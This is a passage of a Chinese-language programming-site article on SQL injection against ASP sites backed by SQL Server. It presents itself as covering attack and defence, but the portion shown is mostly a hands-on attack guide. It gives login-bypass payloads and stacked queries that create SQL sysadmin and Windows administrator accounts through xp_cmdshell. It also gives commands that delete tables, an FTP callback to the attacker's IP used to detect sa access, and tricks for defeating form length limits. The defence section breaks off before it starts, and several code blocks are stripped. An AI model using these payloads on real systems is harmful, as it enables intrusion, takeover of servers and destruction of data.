程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> 淺談SQL注入式(SQLinjection)攻擊與防范

淺談SQL注入式(SQLinjection)攻擊與防范

編輯:關於SqlServer
1、bak文件洩漏ASP源代碼
  很多編輯工具,如Editplus、UltraEdit,默認情況下在保存文件的時候,都會自動備份一個.bak文件。如創建或者編輯config.asp文件,則編輯器會自動生成一個config.asp.bak文件,如果沒有刪除該文件,攻擊者可以通過http://www.***.com/config.asp.bak來下載ASP源程序。
  可以想象,你的源程序被下載,被攻擊的風險無疑大了很多。而如果是配置文件,呵呵,用戶名、密碼、數據庫名稱/位置……
  解決辦法:要麼就直接關閉編輯器的自動備份功能,要麼在上傳的時候,刪除所有.bak文件。
  
  2、身份驗證被繞過
  一般網站有很多頁面是需要身份驗證通過以後才能訪問的,而在這些頁面需要對用戶身份再次進行驗證,但是很多程序員往往忽略了這一點。如果攻擊者知道了這些頁面的路徑和文件名,就可以繞過身份驗證,直接進入到該頁面。如:需要用戶通過login.asp頁面登陸,經過身份驗證才能打開manage.asp頁面。攻擊者可以通過http://www.***.com/manage.ASP直接進入管理界面。
  解決辦法:在這些的頁面開頭進行身份確認。如:在身份驗證通過以後傳遞一個session("login")="ok",在manage.ASP開頭加入
  以下內容為程序代碼:
  
  if session("login")<>"ok" then
  response.redirect "login.ASP"
  end if
  
  
  上面2點說的都是編程的基礎問題,下面就來討論本文的重點,關於sql注入式攻擊與防范。
  
  3、ASP程序數據庫密碼驗證漏洞
  首先,關於request對象,我們知道,如果在form表單中使用get方法傳遞數據時,應該用QueryString集合來檢索表單數據;而使用post方法傳遞數據時,應該用Form集合來檢索表單數據。而更多的程序員為了方便,直接省略集合名稱,使用request("data")來檢索數據,看似簡單,實際上效率很低,而且容易出錯。ASP默認搜索集合的順序是QueryString、Form、CookIE、Serverariable,當發現第一個匹配的變量時,就認定是你要訪問的成員。所以建議大家不要采用這種方法,題外話說完,我們轉入正題。
  先來看login.ASP文件
  以下內容為程序代碼:
  
  ……
  

  用戶名
  密碼
  
  
  

  ……
  再來看verify.ASP文件
  以下內容為程序代碼:
  ……
  dim rs,sql
  dim name,pwd
  name=request.form("name")
  pwd=request.form("pwd")
  
  if name="" or pwd="" then
  response.redirect "login.ASP"
  end if
  ……
  '關於身份驗證
  sql="select * from user where name='"&name&"' and pwd='"&pwd&"'"
  ……
  
  不要以為沒有人會這樣寫,我見過很多很多,如果你相信我:),看看攻擊者能做什麼:
  (1)我們在用戶名位置輸入【admin' or 1='1】,在密碼區輸入【11】。注:內容只有【】內的。看看sql會變成什麼:
  以下內容為程序代碼:
  
  sql=select * from user where name='admin' or 1='1' and pwd='11'
  
  我們知道,or是一個邏輯運算符,在判斷多個條件的時候,只要有一個成立,則等式就返回真,後面的and就不再進行判斷了,也就是說我們繞過了密碼驗證,只要我們知道用戶名就可以登陸該系統。
  (2)我們也可以在用戶名位置輸入【admin' --】,在密碼區輸入【11】。

再看看sql:
  以下內容為程序代碼:
  
  sql=select * from user where name='admin' --' and pasWord='11'
  
  同樣,通過連接符--注釋掉了後面的密碼驗證,對Access數據庫無效。
  (3)如果可以通過連接符注釋掉後面的驗證,那麼就更有意思了,來看我們能作什麼:
  a、在用戶名位置輸入【admin';exec master.dbo.sp_addlogin Cool;--】,添加一個sql用戶
  b、在用戶名位置輸入【admin';exec master.dbo.sp_passWord null,123456,Cool;--】,給Cool設置密碼為123456
  c、在用戶名位置輸入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,給Cool賦予System Administrator權限
  d、在用戶名位置輸入【admin';exec master.dbo.xp_cmdshell 'net user Cool 123456 /workstations:*
  /times:all /passwordchg:yes /passWordreq:yes /active:yes /add';-- 】,給系統添加一個密碼為123456的帳戶Cool,並設置相關屬性,關於net user命令可以參考這裡。
  e、在用戶名位置輸入【admin';exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add';--】,把cool用戶添加到管理員組。
  現在覺得恐怖了沒有,當然我還沒說完,實現這些必須是該站點使用sa或者system administrator權限的用戶來連接數據庫,普通的的虛擬空間是不用想了,除非管理員是SB。但是對於那些站點放在自己服務器上的網站,很難說哦,真的很難說,呵呵,我見過N個。
  那如果不是sa,是不是就什麼也不能做了,當然不是!只是不能獲得太高權限來控制sql庫和系統了,但是對這個庫,我們還是擁有完整的管理權限。來看看我們能作什麼:
  a、輸入【admin';delete user;--】,一旦他的表名就是user,就會刪除user表裡所有記錄。夠狠吧!你可千萬別這麼做哦!
  b、輸入【admin';insert into user (name,pwd) values ('cool','123456');--】,可以給user表添加一個用戶,當然前提是表名和字段名都要正確。
  c、輸入【admin';update news set pwd='123456' where name='admin';--】,可以修改admin的密碼,當然前提也是表名和字段名都要正確。
  更多的攻擊內容,你可以參考sql語法。
  看來如果不是sa還是比較郁悶的,當然,我們也有一些簡單的方法來判斷網站是否使用sa來連接數據庫。
  a、在cmd中執行nc -l -p 21,監聽本機的21端口;當然也可以采用火牆什麼的。
  b、輸入【admin';exec master.dbo.xp_cmdshell 'FTP *.*.*.*'】,其中*代表你的ip地址,如果發現有連接,就可以斷定是使用sa了,而且可以獲得網站數據庫的ip地址,因為有些網站web和sql是放在不同服務器上的;如果沒有連接,則網站使用的是非sa帳戶。
  可能有的朋友已經看出來了,如果網站使用的是sa,我們可以通過頁面從內部發起連接,可以構造ftp腳本,也可以使用tFTP來上傳文件,即使有火牆也是枉然。
  也許有的朋友會說,人家在表單裡已經這裡了最大長度是20,你跟本就輸入不了那麼多!沒事,難不倒我們。
  方法一:


您正在看的SQLserver教程是:淺談SQL注入式(SQLinjection)攻擊與防范。  a、打開網站頁面http:\www.***.comlogin.ASP,查看源文件,把提交表單部分
  以下內容為程序代碼:
  
  

  用戶名
  密碼
  
  
  

  
  拷貝出來,存到本機login.htm
  b、修改action為http:\www.***.comverify.ASP,

即:
  以下內容為程序代碼:
  
  


  用戶名
  密碼
  
  
  

  
  注意:有的網站這裡的action為空,就需要你自己慢慢找找他提交到那裡去了,呵呵,我遇到過這種情況,一般來說都是可以找到的。
  c、修改maxlength,加大,再加大,要不就刪除了!
  d、從本地提交變量
  方法二:
  Cool.reg
  9x用戶:
  以下內容為程序代碼:
  
  REGEDIT4
  
  [HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMenuExt給我加大>
  @="c:\cool.htm"
  "contexts"=dWord:00000004
  
  2k用戶:
  以下內容為程序代碼:
  
  Windows Registry Editor Version 5.00
  
  [HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMenuExt給我加大>
  @="c:\cool.htm"
  "contexts"=dWord:00000004
  
  Cool.htm
  以下內容為程序代碼:
  
  
  
  a、拷貝cool.reg的內容,保存,執行並確認。
  b、拷貝cool.htm的內容,保存到指定位置,這裡是c:c、打開網頁http://www.***.com,在輸入框位置點擊右鍵,會看到“給我加大”一項,點擊即可
  當然,我們可以修改cool.reg來改變cool.htm的路徑以及文件名;也可以修改cool.htm來改變size和maxlength。
  好了,說了這麼多恐怖的東東,來看看怎麼防

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved